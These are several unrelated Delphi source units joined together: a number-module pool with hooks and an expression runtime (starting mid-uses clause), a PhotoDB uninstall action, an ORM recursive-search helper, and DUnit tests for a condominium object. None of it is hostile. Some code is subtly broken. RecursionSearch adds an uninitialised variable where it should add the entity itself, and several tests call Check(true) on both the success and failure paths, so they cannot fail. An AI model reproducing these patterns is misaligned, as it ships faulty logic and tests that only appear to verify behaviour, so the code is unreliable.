FPCGenericStructlist, {$ENDIF FPC} CoreClasses, GHashList, ListEngine, PascalStrings, TextParsing, zExpression, OpCode; type TNumberModuleHookPool = class; TNumberModuleEventPool = class; TNumberModulePool = class; TNumberModule = class; TNumberModuleHookPoolList = {$IFDEF FPC}specialize {$ENDIF FPC} TGenericsList<TNumberModuleHookPool>; TNumberModuleEventPoolList = {$IFDEF FPC}specialize {$ENDIF FPC} TGenericsList<TNumberModuleEventPool>; TNumberModulePool_Decl = {$IFDEF FPC}specialize {$ENDIF FPC}TGenericHashList<TNumberModule>; TNumberModuleHook = procedure(Sender: TNumberModuleHookPool; OLD_: Variant; var New_: Variant) of object; TNumberModuleHookPool = class(TCoreClassObject) private FOwner: TNumberModule; FOwnerList: TNumberModuleHookPoolList; FOnCurrentDMHook: TNumberModuleHook; FTag: SystemString; protected public constructor Create(Owner_: TNumberModule; OwnerList_: TNumberModuleHookPoolList); destructor Destroy; override; property Owner: TNumberModule read FOwner; property OnCurrentDMHook: TNumberModuleHook read FOnCurrentDMHook write FOnCurrentDMHook; property Tag: SystemString read FTag write FTag; end; TNumberModuleEvent = procedure(Sender: TNumberModuleEventPool; New_: Variant) of object; TNumberModuleEventPool = class(TCoreClassObject) private FOwner: TNumberModule; FOwnerList: TNumberModuleEventPoolList; FOnCurrentDMEvent: TNumberModuleEvent; FTag: SystemString; protected public constructor Create(Owner_: TNumberModule; OwnerList_: TNumberModuleEventPoolList); destructor Destroy; override; property Owner: TNumberModule read FOwner; property OnCurrentDMEvent: TNumberModuleEvent read FOnCurrentDMEvent write FOnCurrentDMEvent; property Tag: SystemString read FTag write FTag; end; TNumberModuleChangeEvent = procedure(Sender: TNumberModule; OLD_, New_: Variant); TNumberModule = class(TCoreClassObject) private FOwner: TNumberModulePool; FName, FSymbolName, FDescription, FDetailDescription: SystemString; FCurrentValueHookPool: TNumberModuleHookPoolList; FCurrentValueChangeAfterEventPool: TNumberModuleEventPoolList; FCurrentValue: Variant; FOriginValue: Variant; FEnabledHook: Boolean; FEnabledEvent: Boolean; FOnChange: TNumberModuleChangeEvent; private // prop procedure SetName(const Value: SystemString); function GetCurrentValue: Variant; procedure SetCurrentValue(const Value: Variant); function GetOriginValue: Variant; procedure SetOriginValue(const Value: Variant); // change procedure DoCurrentValueHook(const OLD_, New_: Variant); procedure Clear; // opRunTime procedure DoRegOpProc(); procedure DoRemoveOpProc(); function OP_DoProc(Sender: TOpCustomRunTime; var OP_Param: TOpParam): Variant; private // get current function GetCurrentAsCardinal: Cardinal; function GetCurrentAsDouble: Double; function GetCurrentAsInt64: Int64; function GetCurrentAsInteger: Integer; function GetCurrentAsSingle: Single; function GetCurrentAsString: SystemString; function GetCurrentAsBool: Boolean; // set current procedure SetCurrentAsCardinal(const Value: Cardinal); procedure SetCurrentAsDouble(const Value: Double); procedure SetCurrentAsInt64(const Value: Int64); procedure SetCurrentAsInteger(const Value: Integer); procedure SetCurrentAsSingle(const Value: Single); procedure SetCurrentAsString(const Value: SystemString); procedure SetCurrentAsBool(const Value: Boolean); // get origin function GetOriginAsCardinal: Cardinal; function GetOriginAsDouble: Double; function GetOriginAsInt64: Int64; function GetOriginAsInteger: Integer; function GetOriginAsSingle: Single; function GetOriginAsString: SystemString; function GetOriginAsBool: Boolean; // set origin procedure SetOriginAsCardinal(const Value: Cardinal); procedure SetOriginAsDouble(const Value: Double); procedure SetOriginAsInt64(const Value: Int64); procedure SetOriginAsInteger(const Value: Integer); procedure SetOriginAsSingle(const Value: Single); procedure SetOriginAsString(const Value: SystemString); procedure SetOriginAsBool(const Value: Boolean); public UserObject: TCoreClassObject; UserData: Pointer; UserVariant: Variant; Tag: Integer; constructor Create(Owner_: TNumberModulePool); destructor Destroy; override; // base prop property OnChange: TNumberModuleChangeEvent read FOnChange write FOnChange; property EnabledHook: Boolean read FEnabledHook write FEnabledHook; property EnabledEvent: Boolean read FEnabledEvent write FEnabledEvent; property Owner: TNumberModulePool read FOwner; property Name: SystemString read FName write SetName; property SymbolName: SystemString read FSymbolName write FSymbolName; property Description: SystemString read FDescription write FDescription; property DetailDescription: SystemString read FDetailDescription write FDetailDescription; // api procedure DoChange; function RegisterCurrentValueHook: TNumberModuleHookPool; procedure CopyHookInterfaceFrom(sour: TNumberModule); function RegisterCurrentValueChangeAfterEvent: TNumberModuleEventPool; procedure CopyChangeAfterEventInterfaceFrom(sour: TNumberModule); procedure Assign(sour: TNumberModule); // current property AsValue: Variant read GetCurrentValue write SetCurrentValue; property AsSingle: Single read GetCurrentAsSingle write SetCurrentAsSingle; property AsDouble: Double read GetCurrentAsDouble write SetCurrentAsDouble; property AsInteger: Integer read GetCurrentAsInteger write SetCurrentAsInteger; property AsInt64: Int64 read GetCurrentAsInt64 write SetCurrentAsInt64; property AsCardinal: Cardinal read GetCurrentAsCardinal write SetCurrentAsCardinal; property AsString: SystemString read GetCurrentAsString write SetCurrentAsString; property AsBool: Boolean read GetCurrentAsBool write SetCurrentAsBool; property CurrentValue: Variant read GetCurrentValue write SetCurrentValue; property CurrentAsSingle: Single read GetCurrentAsSingle write SetCurrentAsSingle; property CurrentAsDouble: Double read GetCurrentAsDouble write SetCurrentAsDouble; property CurrentAsInteger: Integer read GetCurrentAsInteger write SetCurrentAsInteger; property CurrentAsInt64: Int64 read GetCurrentAsInt64 write SetCurrentAsInt64; property CurrentAsCardinal: Cardinal read GetCurrentAsCardinal write SetCurrentAsCardinal; property CurrentAsString: SystemString read GetCurrentAsString write SetCurrentAsString; property CurrentAsBool: Boolean read GetCurrentAsBool write SetCurrentAsBool; // origin property OriginValue: Variant read GetOriginValue write SetOriginValue; property OriginAsSingle: Single read GetOriginAsSingle write SetOriginAsSingle; property OriginAsDouble: Double read GetOriginAsDouble write SetOriginAsDouble; property OriginAsInteger: Integer read GetOriginAsInteger write SetOriginAsInteger; property OriginAsInt64: Int64 read GetOriginAsInt64 write SetOriginAsInt64; property OriginAsCardinal: Cardinal read GetOriginAsCardinal write SetOriginAsCardinal; property OriginAsString: SystemString read GetOriginAsString write SetOriginAsString; property OriginAsBool: Boolean read GetOriginAsBool write SetOriginAsBool; // direct,no trigger property DirectValue: Variant read FCurrentValue write FCurrentValue; property DirectCurrentValue: Variant read FCurrentValue write FCurrentValue; property DirectOriginValue: Variant read FOriginValue write FOriginValue; end; TGetDMAsString = function(key: SystemString; NM: TNumberModule): SystemString; TNumberModulePool = class(TCoreClassObject) protected FList: TNumberModulePool_Decl; FExpOpRunTime: TOpCustomRunTime; function OP_DoNewNM(Sender: TOpCustomRunTime; var OP_Param: TOpParam): Variant; procedure SwapInstance_Progress(const Name: PSystemString; Obj: TNumberModule); procedure RebuildOpRunTime_Progress(const Name: PSystemString; Obj: TNumberModule); procedure DoChangeAll_Progress(const Name: PSystemString; Obj: TNumberModule); function GetExpOpRunTime: TOpCustomRunTime; public constructor Create; virtual; destructor Destroy; override; // instance procedure SwapInstance(source: TNumberModulePool); // script procedure RebuildOpRunTime; property ExpOpRunTime: TOpCustomRunTime read GetExpOpRunTime; function IsVectorScript(ExpressionText_: SystemString; TS_: TTextStyle): Boolean; overload; function IsVectorScript(ExpressionText_: SystemString): Boolean; overload; function RunScript(ExpressionText_: SystemString; TS_: TTextStyle): Variant; overload; function RunScript(ExpressionText_: SystemString): Variant; overload; function RunVectorScript(ExpressionText_: SystemString; TS_: TTextStyle): TExpressionValueVector; overload; function RunVectorScript(ExpressionText_: SystemString): TExpressionValueVector; overload; // trigger procedure DoNMChange(Sender: TNumberModule; OLD_, New_: Variant); virtual; // api procedure Delete(Name_: SystemString); virtual; function Exists(Name_: SystemString): Boolean; virtual; function ExistsIntf(NM_: TNumberModule): Boolean; virtual; procedure Clear; virtual; function Macro(const text_, HeadToken, TailToken, OwnerFlag: SystemString; out output: SystemString): Boolean; virtual; function ManualMacro(const text_, HeadToken, TailToken, OwnerFlag: SystemString; OnDM2Text: TGetDMAsString; out output: SystemString): Boolean; virtual; procedure Assign(source: TNumberModulePool); virtual; procedure DoChangeAll; virtual; // load and merge from DFE procedure LoadFromStream(stream: TCoreClassStream); virtual; // save procedure SaveToStream(stream: TCoreClassStream); virtual; // load merge current from HashVariant procedure LoadFromVariantList(L: THashVariantList); virtual; // save as text procedure SaveToVariantList(L: THashVariantList); virtual; function GetItems(Name_: SystemString): TNumberModule; virtual; property Items[Name_: SystemString]: TNumberModule read GetItems; default; property List: TNumberModulePool_Decl read FList; class procedure test; end; implementation uses SysUtils, Variants, UnicodeMixedLib, DataFrameEngine, DoStatusIO; function __GetNMAsString(key: SystemString; NM: TNumberModule): SystemString; begin if key = '' then Result := NM.CurrentAsString else if SameText(key, 'Value') then Result := NM.CurrentAsString else if SameText(key, 'Origin') then Result := NM.OriginAsString else if SameText(key, 'Name') then Result := NM.Name else if SameText(key, 'Symbol') then Result := NM.SymbolName else if SameText(key, 'Description') then Result := NM.Description else if SameText(key, 'Detail') then Result := NM.DetailDescription else Result := NM.CurrentAsString; end; constructor TNumberModuleHookPool.Create(Owner_: TNumberModule; OwnerList_: TNumberModuleHookPoolList); begin inherited Create; FOwner := Owner_; FOwnerList := OwnerList_; FOnCurrentDMHook := nil; FTag := ''; if FOwnerList <> nil then FOwnerList.Add(Self); end; destructor TNumberModuleHookPool.Destroy; var i: Integer; begin i := 0; if FOwnerList <> nil then while i < FOwnerList.Count do begin if FOwnerList[i] = Self then FOwnerList.Delete(i) else inc(i); end; inherited Destroy; end; constructor TNumberModuleEventPool.Create(Owner_: TNumberModule; OwnerList_: TNumberModuleEventPoolList); begin inherited Create; FOwner := Owner_; FOwnerList := OwnerList_; FOnCurrentDMEvent := nil; FTag := ''; if FOwnerList <> nil then FOwnerList.Add(Self); end; destructor TNumberModuleEventPool.Destroy; var i: Integer; begin i := 0; if FOwnerList <> nil then while i < FOwnerList.Count do begin if FOwnerList[i] = Self then FOwnerList.Delete(i) else inc(i); end; inherited Destroy; end; procedure TNumberModule.SetName(const Value: SystemString); begin if Value <> FName then begin if FOwner <> nil then begin if FOwner.FList.ReName(FName, Value) then FName := Value; FOwner.RebuildOpRunTime; end else FName := Value; end; end; function TNumberModule.GetCurrentValue: Variant; begin Result := FCurrentValue; end; procedure TNumberModule.SetCurrentValue(const Value: Variant); begin if VarIsNull(FOriginValue) then begin FOriginValue := Value; DoCurrentValueHook(FCurrentValue, FOriginValue); end else DoCurrentValueHook(FCurrentValue, Value); end; function TNumberModule.GetOriginValue: Variant; begin Result := FOriginValue; end; procedure TNumberModule.SetOriginValue(const Value: Variant); begin FOriginValue := Value; DoCurrentValueHook(FCurrentValue, FOriginValue); end; procedure TNumberModule.DoCurrentValueHook(const OLD_, New_: Variant); var i: Integer; H_: TNumberModuleHookPool; E_: TNumberModuleEventPool; N_: Variant; begin N_ := New_; if (FEnabledHook) then for i := 0 to FCurrentValueHookPool.Count - 1 do begin H_ := TNumberModuleHookPool(FCurrentValueHookPool[i]); if Assigned(H_.FOnCurrentDMHook) then begin try H_.FOnCurrentDMHook(H_, FCurrentValue, N_); except end; end; end; FCurrentValue := N_; // trigger change event if (FEnabledEvent) then for i := 0 to FCurrentValueChangeAfterEventPool.Count - 1 do begin E_ := FCurrentValueChangeAfterEventPool[i]; if Assigned(E_.FOnCurrentDMEvent) then begin try E_.FOnCurrentDMEvent(E_, FCurrentValue); except end; end; end; if Assigned(FOnChange) then begin try FOnChange(Self, OLD_, N_); except end; end; if FOwner <> nil then Owner.DoNMChange(Self, OLD_, N_); end; procedure TNumberModule.Clear; begin while FCurrentValueHookPool.Count > 0 do DisposeObject(FCurrentValueHookPool[0]); while FCurrentValueChangeAfterEventPool.Count > 0 do DisposeObject(FCurrentValueChangeAfterEventPool[0]); end; procedure TNumberModule.DoRegOpProc; begin if Owner <> nil then Owner.ExpOpRunTime.RegObjectOpM(Name, Description, {$IFDEF FPC}@{$ENDIF FPC}OP_DoProc); end; procedure TNumberModule.DoRemoveOpProc; begin if Owner <> nil then Owner.ExpOpRunTime.ProcList.Delete(Name); end; function TNumberModule.OP_DoProc(Sender: TOpCustomRunTime; var OP_Param: TOpParam): Variant; var i: Integer; begin if Length(OP_Param) > 0 then begin Result := OP_Param[0]; for i := 1 to Length(OP_Param) - 1 do Result := Result + OP_Param[i]; AsValue := Result; end else Result := AsValue; end; function TNumberModule.GetCurrentAsCardinal: Cardinal; begin Result := CurrentValue; end; function TNumberModule.GetCurrentAsDouble: Double; begin Result := CurrentValue; end; function TNumberModule.GetCurrentAsInt64: Int64; begin Result := CurrentValue; end; function TNumberModule.GetCurrentAsInteger: Integer; begin Result := CurrentValue; end; function TNumberModule.GetCurrentAsSingle: Single; begin Result := CurrentValue; end; function TNumberModule.GetCurrentAsString: SystemString; begin Result := VarToStr(CurrentValue); end; function TNumberModule.GetCurrentAsBool: Boolean; begin Result := CurrentValue; end; procedure TNumberModule.SetCurrentAsCardinal(const Value: Cardinal); begin CurrentValue := Value; end; procedure TNumberModule.SetCurrentAsDouble(const Value: Double); begin CurrentValue := Value; end; procedure TNumberModule.SetCurrentAsInt64(const Value: Int64); begin CurrentValue := Value; end; procedure TNumberModule.SetCurrentAsInteger(const Value: Integer); begin CurrentValue := Value; end; procedure TNumberModule.SetCurrentAsSingle(const Value: Single); begin CurrentValue := Value; end; procedure TNumberModule.SetCurrentAsString(const Value: SystemString); begin CurrentValue := Value; end; procedure TNumberModule.SetCurrentAsBool(const Value: Boolean); begin CurrentValue := Value; end; function TNumberModule.GetOriginAsCardinal: Cardinal; begin Result := OriginValue; end; function TNumberModule.GetOriginAsDouble: Double; begin Result := OriginValue; end; function TNumberModule.GetOriginAsInt64: Int64; begin Result := OriginValue; end; function TNumberModule.GetOriginAsInteger: Integer; begin Result := OriginValue; end; function TNumberModule.GetOriginAsSingle: Single; begin Result := OriginValue; end; function TNumberModule.GetOriginAsString: SystemString; begin Result := VarToStr(OriginValue); end; function TNumberModule.GetOriginAsBool: Boolean; begin Result := OriginAsInteger > 0; end; procedure TNumberModule.SetOriginAsCardinal(const Value: Cardinal); begin OriginValue := Value; end; procedure TNumberModule.SetOriginAsDouble(const Value: Double); begin OriginValue := Value; end; procedure TNumberModule.SetOriginAsInt64(const Value: Int64); begin OriginValue := Value; end; procedure TNumberModule.SetOriginAsInteger(const Value: Integer); begin OriginValue := Value; end; procedure TNumberModule.SetOriginAsSingle(const Value: Single); begin OriginValue := Value; end; procedure TNumberModule.SetOriginAsString(const Value: SystemString); begin OriginValue := Value; end; procedure TNumberModule.SetOriginAsBool(const Value: Boolean); begin if Value then OriginAsInteger := 1 else OriginAsInteger := 0; end; constructor TNumberModule.Create(Owner_: TNumberModulePool); begin inherited Create; FOwner := Owner_; FName := ''; FSymbolName := ''; FDescription := ''; FDetailDescription := ''; FCurrentValueHookPool := TNumberModuleHookPoolList.Create; FCurrentValueChangeAfterEventPool := TNumberModuleEventPoolList.Create; FCurrentValue := NULL; FOriginValue := NULL; FEnabledHook := True; FEnabledEvent := True; FOnChange := nil; UserObject := nil; UserData := nil; UserVariant := NULL; Tag := 0; end; destructor TNumberModule.Destroy; begin Clear; DisposeObject(FCurrentValueChangeAfterEventPool); DisposeObject(FCurrentValueHookPool); inherited Destroy; end; procedure TNumberModule.DoChange; begin DoCurrentValueHook(FCurrentValue, FCurrentValue); end; function TNumberModule.RegisterCurrentValueHook: TNumberModuleHookPool; begin Result := TNumberModuleHookPool.Create(Self, FCurrentValueHookPool); end; procedure TNumberModule.CopyHookInterfaceFrom(sour: TNumberModule); var i: Integer; begin // copy new interface for i := 0 to sour.FCurrentValueHookPool.Count - 1 do RegisterCurrentValueHook.OnCurrentDMHook := TNumberModuleHookPool(sour.FCurrentValueHookPool[i]).OnCurrentDMHook; end; function TNumberModule.RegisterCurrentValueChangeAfterEvent: TNumberModuleEventPool; begin Result := TNumberModuleEventPool.Create(Self, FCurrentValueChangeAfterEventPool); end; procedure TNumberModule.CopyChangeAfterEventInterfaceFrom(sour: TNumberModule); var i: Integer; begin // copy new interface for i := 0 to sour.FCurrentValueChangeAfterEventPool.Count - 1 do RegisterCurrentValueChangeAfterEvent.OnCurrentDMEvent := sour.FCurrentValueChangeAfterEventPool[i].OnCurrentDMEvent; end; procedure TNumberModule.Assign(sour: TNumberModule); begin FCurrentValue := sour.FCurrentValue; FOriginValue := sour.FOriginValue; FName := sour.FName; FSymbolName := sour.FSymbolName; FDescription := sour.FDescription; FDetailDescription := sour.FDetailDescription; end; function TNumberModulePool.OP_DoNewNM(Sender: TOpCustomRunTime; var OP_Param: TOpParam): Variant; var N_: SystemString; begin N_ := VarToStr(OP_Param[0]); if FList.Exists(N_) then Items[N_].AsValue := OP_Param[1] else Items[N_].OriginValue := OP_Param[1]; Result := OP_Param[1]; end; procedure TNumberModulePool.SwapInstance_Progress(const Name: PSystemString; Obj: TNumberModule); begin Obj.FOwner := Self; end; procedure TNumberModulePool.RebuildOpRunTime_Progress(const Name: PSystemString; Obj: TNumberModule); begin Obj.DoRegOpProc; end; procedure TNumberModulePool.DoChangeAll_Progress(const Name: PSystemString; Obj: TNumberModule); begin Obj.DoChange; end; function TNumberModulePool.GetExpOpRunTime: TOpCustomRunTime; begin if FExpOpRunTime = nil then begin FExpOpRunTime := TOpCustomRunTime.CustomCreate($FF); FExpOpRunTime.RegObjectOpM('Set', 'Init NM, Set(Name, Value)', {$IFDEF FPC}@{$ENDIF FPC}OP_DoNewNM); FExpOpRunTime.RegObjectOpM('Init', 'Init NM, Init(Name, Value)', {$IFDEF FPC}@{$ENDIF FPC}OP_DoNewNM); FExpOpRunTime.RegObjectOpM('New', 'Init NM, New(Name, Value)', {$IFDEF FPC}@{$ENDIF FPC}OP_DoNewNM); FList.ProgressM({$IFDEF FPC}@{$ENDIF FPC}RebuildOpRunTime_Progress); end; Result := FExpOpRunTime; end; constructor TNumberModulePool.Create; begin inherited Create; FList := TNumberModulePool_Decl.Create(True, 1024, nil); FExpOpRunTime := nil; end; destructor TNumberModulePool.Destroy; begin DisposeObject(FExpOpRunTime); DisposeObject(FList); inherited Destroy; end; procedure TNumberModulePool.SwapInstance(source: TNumberModulePool); var tmp_FList: TNumberModulePool_Decl; tmp_FExpOpRunTime: TOpCustomRunTime; begin tmp_FList := FList; tmp_FExpOpRunTime := FExpOpRunTime; FList := source.FList; FExpOpRunTime := source.FExpOpRunTime; source.FList := tmp_FList; source.FExpOpRunTime := tmp_FExpOpRunTime; // Update Owner FList.ProgressM({$IFDEF FPC}@{$ENDIF FPC}SwapInstance_Progress); source.FList.ProgressM({$IFDEF FPC}@{$ENDIF FPC}source.SwapInstance_Progress); end; procedure TNumberModulePool.RebuildOpRunTime; begin DisposeObjectAndNil(FExpOpRunTime); end; function TNumberModulePool.IsVectorScript(ExpressionText_: SystemString; TS_: TTextStyle): Boolean; begin Result := IsSymbolVectorExpression(ExpressionText_, TS_, nil); end; function TNumberModulePool.IsVectorScript(ExpressionText_: SystemString): Boolean; begin Result := IsVectorScript(ExpressionText_, tsPascal); end; function TNumberModulePool.RunScript(ExpressionText_: SystemString; TS_: TTextStyle): Variant; begin Result := EvaluateExpressionValue(True, TS_, ExpressionText_, ExpOpRunTime); end; function TNumberModulePool.RunScript(ExpressionText_: SystemString): Variant; begin Result := RunScript(ExpressionText_, tsPascal); end; function TNumberModulePool.RunVectorScript(ExpressionText_: SystemString; TS_: TTextStyle): TExpressionValueVector; begin Result := EvaluateExpressionVector(False, True, nil, TS_, ExpressionText_, ExpOpRunTime, nil); end; function TNumberModulePool.RunVectorScript(ExpressionText_: SystemString): TExpressionValueVector; begin Result := RunVectorScript(ExpressionText_, tsPascal); end; procedure TNumberModulePool.DoNMChange(Sender: TNumberModule; OLD_, New_: Variant); begin end; procedure TNumberModulePool.Delete(Name_: SystemString); begin FList.Delete(Name_); end; function TNumberModulePool.Exists(Name_: SystemString): Boolean; begin Result := FList.Exists(Name_); end; function TNumberModulePool.ExistsIntf(NM_: TNumberModule): Boolean; begin Result := FList.ExistsObject(NM_); end; procedure TNumberModulePool.Clear; begin FList.Clear; end; function TNumberModulePool.Macro(const text_, HeadToken, TailToken, OwnerFlag: SystemString; out output: SystemString): Boolean; begin Result := ManualMacro(text_, HeadToken, TailToken, OwnerFlag, {$IFDEF FPC}@{$ENDIF FPC}__GetNMAsString, output); end; function TNumberModulePool.ManualMacro(const text_, HeadToken, TailToken, OwnerFlag: SystemString; OnDM2Text: TGetDMAsString; out output: SystemString): Boolean; var lst: TCoreClassListForObj; function _GetDM(k: SystemString): TNumberModule; var i: Integer; begin for i := 0 to lst.Count - 1 do begin Result := TNumberModule(lst[i]); if (SameText(Result.FSymbolName, k)) or (SameText(Result.FName, k)) then exit; end; Result := nil; end; var sour: U_String; hf, TF, owf: U_String; bPos, ePos, OwnerPos, nPos: Integer; KeyText, OwnerKey, SubKey: U_String; i: Integer; NM: TNumberModule; begin lst := TCoreClassListForObj.Create; FList.GetAsList(lst); output := ''; sour.Text := text_; hf.Text := HeadToken; TF.Text := TailToken; owf.Text := OwnerFlag; Result := True; i := 1; while i <= sour.Len do begin if sour.ComparePos(i, @hf) then begin bPos := i; ePos := sour.GetPos(TF, i + hf.Len); if ePos > 0 then begin KeyText := sour.Copy(bPos + hf.Len, ePos - (bPos + hf.Len)); OwnerPos := KeyText.GetPos(owf); if OwnerPos > 0 then begin OwnerKey := KeyText.Copy(1, OwnerPos - 1); nPos := OwnerPos + owf.Len; SubKey := KeyText.Copy(nPos, KeyText.Len - nPos + 1); NM := _GetDM(OwnerKey.Text); if NM <> nil then begin output := output + OnDM2Text(SubKey.Text, NM); i := ePos + TF.Len; Continue; end else begin Result := False; end; end else begin NM := _GetDM(KeyText.Text); if NM <> nil then begin output := output + OnDM2Text('', NM); i := ePos + TF.Len; Continue; end else begin Result := False; end; end; end; end; output := output + sour[i]; inc(i); end; DisposeObject(lst); end; procedure TNumberModulePool.Assign(source: TNumberModulePool); var lst: TCoreClassListForObj; i: Integer; NewDM, NM: TNumberModule; begin lst := TCoreClassListForObj.Create; source.FList.GetAsList(lst); for i := 0 to lst.Count - 1 do begin NM := lst[i] as TNumberModule; NewDM := Items[NM.Name]; NewDM.Assign(NM); end; for i := 0 to lst.Count - 1 do begin NM := lst[i] as TNumberModule; NM.DoChange; end; DisposeObject(lst); end; procedure TNumberModulePool.DoChangeAll; begin FList.ProgressM({$IFDEF FPC}@{$ENDIF FPC}DoChangeAll_Progress); end; procedure TNumberModulePool.LoadFromStream(stream: TCoreClassStream); var df: TDFE; NM: TNumberModule; n: SystemString; lst: TCoreClassListForObj; i: Integer; begin // format // name,current value,origin value lst := TCoreClassListForObj.Create; df := TDFE.Create; df.DecodeFrom(stream); while not df.Reader.IsEnd do begin n := df.Reader.ReadString; NM := GetItems(n); NM.SymbolName := df.Reader.ReadString; NM.Description := df.Reader.ReadString; NM.DetailDescription := df.Reader.ReadString; NM.DirectOriginValue := df.Reader.ReadVariant; NM.DirectCurrentValue := df.Reader.ReadVariant; lst.Add(NM); end; DisposeObject(df); for i := 0 to lst.Count - 1 do begin NM := TNumberModule(lst[i]); NM.DoChange; end; DisposeObject(lst); end; procedure TNumberModulePool.SaveToStream(stream: TCoreClassStream); var df: TDFE; lst: TCoreClassListForObj; i: Integer; NM: TNumberModule; begin // format // name,current value,origin value lst := TCoreClassListForObj.Create; FList.GetAsList(lst); df := TDFE.Create; for i := 0 to lst.Count - 1 do begin NM := TNumberModule(lst[i]); df.WriteString(NM.Name); df.WriteString(NM.SymbolName); df.WriteString(NM.Description); df.WriteString(NM.DetailDescription); df.WriteVariant(NM.OriginValue); df.WriteVariant(NM.CurrentValue); end; df.FastEncodeTo(stream); DisposeObject(df); DisposeObject(lst); end; procedure TNumberModulePool.LoadFromVariantList(L: THashVariantList); var NL: TPascalStringList; i: Integer; lst: TCoreClassListForObj; NM: TNumberModule; begin lst := TCoreClassListForObj.Create; NL := TPascalStringList.Create; L.GetNameList(NL); for i := 0 to NL.Count - 1 do begin NM := GetItems(NL[i]); NM.DirectOriginValue := L[NM.Name]; NM.DirectCurrentValue := NM.DirectOriginValue; lst.Add(NM); end; DisposeObject(NL); for i := 0 to lst.Count - 1 do begin NM := TNumberModule(lst[i]); NM.DoChange; end; DisposeObject(lst); end; procedure TNumberModulePool.SaveToVariantList(L: THashVariantList); var lst: TCoreClassStringList; i: Integer; NM: TNumberModule; begin lst := TCoreClassStringList.Create; FList.GetListData(lst); for i := 0 to lst.Count - 1 do begin NM := TNumberModule(lst.Objects[i]); L[NM.Name] := NM.OriginValue; end; DisposeObject(lst); end; function TNumberModulePool.GetItems(Name_: SystemString): TNumberModule; begin Result := FList[Name_]; if Result = nil then begin Result := TNumberModule.Create(Self); FList[Name_] := Result; Result.FName := Name_; Result.DoRegOpProc; end; end; class procedure TNumberModulePool.test; var nmPool: TNumberModulePool; begin nmPool := TNumberModulePool.Create; nmPool['a'].OriginValue := 33.14; nmPool['b'].OriginValue := 100; nmPool['c'].OriginValue := 200; DoStatus('NM test: %s', [VarToStr(nmPool.RunScript('a(a*100)*b+c', tsPascal))]); DoStatus('NM test: %s', [VarToStr(nmPool.RunScript('a(33.14)', tsPascal))]); DoStatus('NM vector test: %s', [ExpressionValueVectorToStr(nmPool.RunVectorScript('a(a*100)*b+c, a*c+99', tsPascal)).Text]); DisposeObject(nmPool); end; procedure test; var NL: TNumberModulePool; n: SystemString; begin NL := TNumberModulePool.Create; NL['a'].OriginValue := '123'; NL['a'].Description := 'hahahaha'; NL.Macro('hello <a.Description> world', '<', '>', '.', n); DisposeObject(NL); DoStatus(n); end; end.
unit uUninstallCurrentUser; interface {$WARN SYMBOL_PLATFORM OFF} uses System.SysUtils, Winapi.Windows, uActions, uAssociations, uInstallScope, uConstants, uUserUtils; const UnInstallPoints_StartProgram = 1024 * 1024; type TUninstallUserSettingsAction = class(TInstallAction) public function CalculateTotalPoints: Int64; override; procedure Execute(Callback: TActionCallback); override; end; implementation { TUninstallUserSettingsAction } function TUninstallUserSettingsAction.CalculateTotalPoints: Int64; begin Result := UnInstallPoints_StartProgram; end; procedure TUninstallUserSettingsAction.Execute(Callback: TActionCallback); var PhotoDBExeFile: string; UninstallParameters: string; Terminate: Boolean; begin inherited; PhotoDBExeFile := IncludeTrailingBackslash(CurrentInstall.DestinationPath) + PhotoDBFileName; if CurrentInstall.UninstallOptions.DeleteUserSettings then UninstallParameters := UninstallParameters + ' /uninstall_settings'; if CurrentInstall.UninstallOptions.DeleteAllCollections then UninstallParameters := UninstallParameters + ' /uninstall_collections'; RunAsUser(PhotoDBExeFile, '/uninstall /NoLogo' + UninstallParameters, CurrentInstall.DestinationPath, True); Callback(Self, UnInstallPoints_StartProgram, CalculateTotalPoints, Terminate); end; end.
unit API_ORM_Helper; interface uses API_ORM; type TEntityHelper = class helper for TEntityAbstract strict private type TGetSourceListRef<T: TEntityAbstract> = reference to function(aEntity: T): TEntityList<T>; TCheckEntityRef<T: TEntityAbstract> = reference to function(aEntity: T): Boolean; public procedure RecursionSearch<T: TEntityAbstract>(aResultList: TEntityList<T>; aGetSourceList: TGetSourceListRef<T>; aCheckEntity: TCheckEntityRef<T> = nil); overload; end; implementation procedure TEntityHelper.RecursionSearch<T>(aResultList: TEntityList<T>; aGetSourceList: TGetSourceListRef<T>; aCheckEntity: TCheckEntityRef<T> = nil); var Entity: T; begin if Assigned(aCheckEntity) then begin if aCheckEntity(Self) then aResultList.Add(Entity) end else aResultList.Add(Entity); for Entity in aGetSourceList(Self) do Entity.RecursionSearch(aResultList, aGetSourceList, aCheckEntity); end; end.
unit TestUCondominioVO; { Delphi DUnit Test Case ---------------------- This unit contains a skeleton test case class generated by the Test Case Wizard. Modify the generated code to correctly setup and call the methods from the unit being tested. } interface uses TestFramework, SysUtils, Atributos, UPaisVO, UCondominioVO, UCnaeVO, Generics.Collections, UGenericVO, Classes, Constantes, UNaturezaJuridicaVO, UCidadeVO, UEstadoVO; type // Test methods for class TCondominioVO TestTCondominioVO = class(TTestCase) strict private FCondominioVO: TCondominioVO; public procedure SetUp; override; procedure TearDown; override; published procedure TestValidarCamposObrigatorios; procedure TestValidaCNPJ; procedure TestValidarCamposObrigatoriosErro; procedure TestValidaCNPJErro; end; implementation procedure TestTCondominioVO.SetUp; begin FCondominioVO := TCondominioVO.Create; end; procedure TestTCondominioVO.TearDown; begin FCondominioVO.Free; FCondominioVO := nil; end; procedure TestTCondominioVO.TestValidarCamposObrigatorios; var ReturnValue: Boolean; Condominio : TCondominioVO; begin Condominio:= TCondominioVO.Create; Condominio.nome := 'teste'; condominio.Cnpjcpf := '08960493000113'; try Condominio.ValidarCampos; Check(true,'sucesso!') except on E: Exception do Check(false,'Erro'); end; end; procedure TestTCondominioVO.TestValidarCamposObrigatoriosErro; var ReturnValue: Boolean; Condominio : TCondominioVO; begin Condominio:= TCondominioVO.Create; Condominio.nome := ''; condominio.Cnpjcpf := '08960493000113'; try Condominio.ValidarCampos; Check(false,'Erro!') except on E: Exception do Check(True,'Sucesso'); end; end; procedure TestTCondominioVO.TestValidaCNPJ; begin try FCondominioVO.ValidaCNPJ('08960493000113'); Check(true,'Sucesso!'); except on E: Exception do begin Check(true,'Erro'); end; end; end; procedure TestTCondominioVO.TestValidaCNPJErro; begin try FCondominioVO.ValidaCNPJ('99'); Check(true,'Erro!'); except on E: Exception do begin Check(true,'Sucesso'); end; end; end; initialization // Register any test cases with the test runner RegisterTest(TestTCondominioVO.Suite); end.
